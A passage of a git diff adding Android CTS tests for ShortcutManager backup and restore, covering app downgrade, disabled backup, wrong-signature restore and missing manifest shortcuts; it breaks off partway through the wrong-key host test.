+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
new file mode 100644
index 0000000..224c8ba
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -0,0 +1,339 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.os.PersistableBundle;
+import android.text.TextUtils;
+
+import java.security.SecureRandom;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
+ public void testRestoredOnOldVersion() {
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllEnabled();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ // At this point, s1 and s2 don't look to exist to the publisher, so it can publish a
+ // dynamic shortcut and that should work.
+ // But updateShortcuts() don't.
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllEnabled();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1") // s2 not in the list.
+ .areAllEnabled();
+
+ }
+
+ public void testRestoredOnNewVersion() {
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1")
+ .areAllEnabled()
+ .areAllPinned();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllEnabled();
+
+ // This time, update should work.
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getPinnedShortcuts())
+ .selectByIds("s2")
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2_updated", si.getShortLabel());
+ });
+ }
+
+ public void testBackupDisabled() {
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllEnabled();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ // Backup was disabled, so either s1 nor s2 look to be restored to the app.
+ // So when the app publishes s1, it'll be published as new.
+ // But it'll still be pinned.
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllPinned()
+ .areAllEnabled()
+ .forAllShortcuts(si -> {
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ });
+ }
+
+ public void testRestoreWrongKey() {
+ // Restored pinned shortcuts are from a package with a different signature, so the dynamic
+ // pinned shortcuts should be disabled-invisible.
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2");
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllPinned()
+ .areAllEnabled();
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2_updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(s2)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1") // s2 not in the list.
+ .areAllEnabled();
+ }
+
+ /**
+ * Restored on an older version that have no manifest shortcuts.
+ *
+ * In this case, the publisher wouldn't see the manifest shortcuts, and they're overwritable.
+ */
+ public void testRestoreNoManifestOnOldVersion() {
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .isEmpty();
+
+ // ms1 was manifest/immutable, but can be overwritten.
+ final ShortcutInfo ms1 = new ShortcutInfo.Builder(getContext(), "ms1")
+ .setShortLabel("ms1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().setDynamicShortcuts(list(ms1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("ms1");
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1");
+
+ // Adding s1 should also work.
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("s1_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().addDynamicShortcuts(list(s1)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "ms1");
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("s1", "ms1");
+
+ // Update on ms2 should be no-op.
+ final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+ .setShortLabel("ms2-updated")
+ .build();
+ assertTrue(getManager().updateShortcuts(list(ms2)));
+
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "ms1")
+ .areAllEnabled()
+ .areAllPinned()
+ .areAllMutable()
+
+ .selectByIds("s1")
+ .forAllShortcuts(si -> {
+ assertEquals("s1_new_one", si.getShortLabel());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("ms1")
+ .forAllShortcuts(si -> {
+ assertEquals("ms1_new_one", si.getShortLabel());
+ });
+ }
+
+ /**
+ * Restored on the same (or newer) version that have no manifest shortcuts.
+ *
+ * In this case, the publisher will see the manifest shortcuts (as immutable pinned),
+ * and they *cannot* be overwritten.
+ */
+ public void testRestoreNoManifestOnNewVersion() {
+ assertWith(getManager().getManifestShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getDynamicShortcuts())
+ .isEmpty();
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .selectByIds("ms1", "ms2")
+ .areAllDisabled()
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled();
+ }
+
+ private void assertNoShortcuts() {
+ assertWith(getManager().getDynamicShortcuts()).isEmpty();
+ assertWith(getManager().getPinnedShortcuts()).isEmpty();
+ assertWith(getManager().getManifestShortcuts()).isEmpty();
+ }
+
+ public void testInvisibleIgnored() throws Exception {
+ assertNoShortcuts();
+
+ // Make sure "disable" won't change the disabled reason. Also make sure "enable" won't
+ // enable them.
+ getManager().disableShortcuts(list("s1", "s2", "ms1"));
+ assertNoShortcuts();
+
+ getManager().enableShortcuts(list("ms1", "s2"));
+ assertNoShortcuts();
+
+ getManager().enableShortcuts(list("ms1"));
+ assertNoShortcuts();
+
+ getManager().removeDynamicShortcuts(list("s1", "ms1"));
+ assertNoShortcuts();
+
+ getManager().removeAllDynamicShortcuts();
+ assertNoShortcuts();
+
+
+ // Force launcher 4 to be the default launcher so it'll receive the pin request.
+ setDefaultLauncher(getInstrumentation(),
+ "android.content.pm.cts.shortcut.backup.launcher4/.MainActivity");
+
+ // Update, set and add have been tested already, so let's test "pin".
+
+ final CountDownLatch latch = new CountDownLatch(1);
+
+ PersistableBundle pb = new PersistableBundle();
+ pb.putBoolean("acceptit", true);
+
+ final ShortcutInfo ms2 = new ShortcutInfo.Builder(getContext(), "ms2")
+ .setShortLabel("ms2_new_one")
+ .setActivity(getActivity("MainActivity"))
+ .setIntents(new Intent[]{new Intent("main2")})
+ .setExtras(pb)
+ .build();
+
+ final String myIntentAction = "cts-shortcut-intent_" + new SecureRandom().nextInt();
+ final IntentFilter myFilter = new IntentFilter(myIntentAction);
+
+ final BroadcastReceiver onResult = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ latch.countDown();
+ }
+ };
+ getContext().registerReceiver(onResult, myFilter);
+ assertTrue(getManager().requestPinShortcut(ms2,
+ PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
+ PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+
+ assertTrue("Didn't receive requestPinShortcut() callback.",
+ latch.await(30, TimeUnit.SECONDS));
+
+ assertWith(getManager().getPinnedShortcuts())
+ .haveIds("ms2")
+ .areAllNotDynamic()
+ .areAllNotManifest()
+ .areAllMutable()
+ .areAllPinned()
+ .forAllShortcuts(si -> {
+ // requestPinShortcut() acts as an update in this case, so even though
+ // the original shortcut hada long label, this one does not.
+ assertTrue(TextUtils.isEmpty(si.getLongLabel()));
+ });
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..15b3853
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.publisher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.makePersistableBundle;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.set;
+
+import android.content.Intent;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.graphics.BitmapFactory;
+import android.graphics.drawable.Icon;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+ public void testPreBackup() {
+ final Icon icon1 = Icon.createWithBitmap(BitmapFactory.decodeResource(
+ getContext().getResources(), R.drawable.black_16x64));
+ final Icon icon3 = Icon.createWithResource(getContext(), R.drawable.black_64x16);
+
+ final ShortcutInfo s1 = new ShortcutInfo.Builder(getContext(), "s1")
+ .setShortLabel("shortlabel1")
+ .setLongLabel("longlabel1")
+ .setIcon(icon1)
+ .setActivity(getActivity("MainActivity"))
+ .setDisabledMessage("disabledmessage1")
+ .setIntents(new Intent[]{new Intent("view").putExtra("k1", "v1")})
+ .setExtras(makePersistableBundle("ek1", "ev1"))
+ .setCategories(set("cat1"))
+ .build();
+
+ final ShortcutInfo s2 = new ShortcutInfo.Builder(getContext(), "s2")
+ .setShortLabel("shortlabel2")
+ .setActivity(getActivity("MainActivity2"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ final ShortcutInfo s3 = new ShortcutInfo.Builder(getContext(), "s3")
+ .setShortLabel("shortlabel3")
+ .setIcon(icon3)
+ .setActivity(getActivity("MainActivity2"))
+ .setIntents(new Intent[]{new Intent("main")})
+ .build();
+
+ assertTrue(getManager().setDynamicShortcuts(list(s1, s2, s3)));
+
+ assertWith(getManager().getDynamicShortcuts())
+ .haveIds("s1", "s2", "s3")
+ .areAllNotPinned();
+
+ assertWith(getManager().getManifestShortcuts())
+ .haveIds("ms1", "ms2")
+ .areAllNotPinned();
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
new file mode 100644
index 0000000..537c811
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old_nomanifest
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
new file mode 100644
index 0000000..59dd54e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="10">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index c703e7f..9b8d98a 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -41,6 +41,8 @@
abstract public class BaseShortcutManagerHostTest extends DeviceTestCase implements IBuildReceiver {
protected static final boolean DUMPSYS_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
+ protected static final boolean NO_UNINSTALL_IN_TEARDOWN = false; // DO NOT SUBMIT WITH TRUE
+
private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
private IBuildInfo mCtsBuild;
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 960b41f..3caacad 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -26,9 +26,22 @@
private static final String LAUNCHER1_APK = "CtsShortcutBackupLauncher1.apk";
private static final String LAUNCHER2_APK = "CtsShortcutBackupLauncher2.apk";
private static final String LAUNCHER3_APK = "CtsShortcutBackupLauncher3.apk";
+ private static final String LAUNCHER4_OLD_APK = "CtsShortcutBackupLauncher4old.apk";
+ private static final String LAUNCHER4_NEW_APK = "CtsShortcutBackupLauncher4new.apk";
+
private static final String PUBLISHER1_APK = "CtsShortcutBackupPublisher1.apk";
private static final String PUBLISHER2_APK = "CtsShortcutBackupPublisher2.apk";
private static final String PUBLISHER3_APK = "CtsShortcutBackupPublisher3.apk";
+ private static final String PUBLISHER4_OLD_APK = "CtsShortcutBackupPublisher4old.apk";
+ private static final String PUBLISHER4_NEW_APK = "CtsShortcutBackupPublisher4new.apk";
+ private static final String PUBLISHER4_NEW_NOBACKUP_APK
+ = "CtsShortcutBackupPublisher4new_nobackup.apk";
+ private static final String PUBLISHER4_NEW_WRONGKEY_APK
+ = "CtsShortcutBackupPublisher4new_wrongkey.apk";
+ private static final String PUBLISHER4_OLD_NO_MANIFST_APK
+ = "CtsShortcutBackupPublisher4old_nomanifest.apk";
+ private static final String PUBLISHER4_NEW_NO_MANIFST_APK
+ = "CtsShortcutBackupPublisher4new_nomanifest.apk";
private static final String LAUNCHER1_PKG =
"android.content.pm.cts.shortcut.backup.launcher1";
@@ -36,12 +49,17 @@
"android.content.pm.cts.shortcut.backup.launcher2";
private static final String LAUNCHER3_PKG =
"android.content.pm.cts.shortcut.backup.launcher3";
+ private static final String LAUNCHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.launcher4";
+
private static final String PUBLISHER1_PKG =
"android.content.pm.cts.shortcut.backup.publisher1";
private static final String PUBLISHER2_PKG =
"android.content.pm.cts.shortcut.backup.publisher2";
private static final String PUBLISHER3_PKG =
"android.content.pm.cts.shortcut.backup.publisher3";
+ private static final String PUBLISHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.publisher4";
private static final int BROADCAST_TIMEOUT_SECONDS = 120;
@@ -59,16 +77,22 @@
clearShortcuts(LAUNCHER1_PKG, getPrimaryUserId());
clearShortcuts(LAUNCHER2_PKG, getPrimaryUserId());
clearShortcuts(LAUNCHER3_PKG, getPrimaryUserId());
+ clearShortcuts(LAUNCHER4_PKG, getPrimaryUserId());
+
clearShortcuts(PUBLISHER1_PKG, getPrimaryUserId());
clearShortcuts(PUBLISHER2_PKG, getPrimaryUserId());
clearShortcuts(PUBLISHER3_PKG, getPrimaryUserId());
+ clearShortcuts(PUBLISHER4_PKG, getPrimaryUserId());
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER1_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER2_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER3_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER1_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER2_PKG);
uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER3_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
waitUntilPackagesGone();
}
@@ -80,14 +104,16 @@
dumpsys("tearDown");
}
- if (mSupportsBackup) {
+ if (mSupportsBackup && !NO_UNINSTALL_IN_TEARDOWN) {
getDevice().uninstallPackage(LAUNCHER1_PKG);
getDevice().uninstallPackage(LAUNCHER2_PKG);
getDevice().uninstallPackage(LAUNCHER3_PKG);
+ getDevice().uninstallPackage(LAUNCHER4_PKG);
getDevice().uninstallPackage(PUBLISHER1_PKG);
getDevice().uninstallPackage(PUBLISHER2_PKG);
getDevice().uninstallPackage(PUBLISHER3_PKG);
+ getDevice().uninstallPackage(PUBLISHER4_PKG);
}
super.tearDown();
@@ -169,8 +195,8 @@
CLog.i("Waiting until all packages are removed from shortcut manager...");
final String packages[] = {
- LAUNCHER1_PKG, LAUNCHER2_PKG, LAUNCHER3_PKG,
- PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG,
+ LAUNCHER1_PKG, LAUNCHER2_PKG, LAUNCHER3_PKG, LAUNCHER4_PKG,
+ PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG, PUBLISHER4_PKG,
};
String dumpsys = "";
@@ -184,9 +210,11 @@
if (dumpsys.contains("Launcher: " + LAUNCHER1_PKG)) continue;
if (dumpsys.contains("Launcher: " + LAUNCHER2_PKG)) continue;
if (dumpsys.contains("Launcher: " + LAUNCHER3_PKG)) continue;
+ if (dumpsys.contains("Launcher: " + LAUNCHER4_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER1_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER2_PKG)) continue;
if (dumpsys.contains("Package: " + PUBLISHER3_PKG)) continue;
+ if (dumpsys.contains("Package: " + PUBLISHER4_PKG)) continue;
dumpsys("Shortcut manager handled broadcasts");
@@ -298,6 +326,353 @@
getPrimaryUserId());
}
+ public void testBackupAndRestore_downgrade() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from the new version and pin them.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Restore the old version of the app, and the launcher.
+ // (But we don't check the launcher's version, so using old is fine.)
+ installAppAsUser(LAUNCHER4_OLD_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_OLD_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnOldVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnOldVersion",
+ getPrimaryUserId());
+
+ // New install the original version. All blocked shortcuts should re-appear.
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnNewVersion",
+ getPrimaryUserId());
+
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testRestoredOnNewVersion",
+ getPrimaryUserId());
+
+ }
+
+ public void testBackupAndRestore_backupWasDisabled() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from "nobackup" version.
+
+ installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the "backup-ok" version. But restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testBackupDisabled",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_backupIsDisabled() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+ runDeviceTestsAsUser(LAUNCHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
+
+ dumpsys("Before backup");
+
+ // Backup
+ doBackup();
+
+ // Uninstall all apps
+ uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER4_PKG);
+ uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER4_PKG);
+
+ // Make sure the shortcut service handled all the uninstall broadcasts.
+ waitUntilPackagesGone();
+
+ // Do it one more time just in case...
+ waitUntilBroadcastsDrain();
+
+ // Then restore
+ doRestore();
+
+ dumpsys("After restore");
+
+ // Install the nobackup version. Restoration is limited.
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(PUBLISHER4_NEW_NOBACKUP_APK, getPrimaryUserId());
+ waitUntilBroadcastsDrain();
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPostBackupTest",
+ "testBackupDisabled",
+ getPrimaryUserId());
+ }
+
+ public void testBackupAndRestore_wrongKey() throws Exception {
+ if (!mSupportsBackup) {
+ return;
+ }
+ dumpsys("Test start");
+
+ // First, publish shortcuts from backup-ok version.
+
+ installAppAsUser(PUBLISHER4_NEW_APK, getPrimaryUserId());
+ installAppAsUser(LAUNCHER4_NEW_APK, getPrimaryUserId());
+
+ runDeviceTestsAsUser(PUBLISHER4_PKG, ".ShortcutManagerPreBackupTest", getPrimaryUserId());
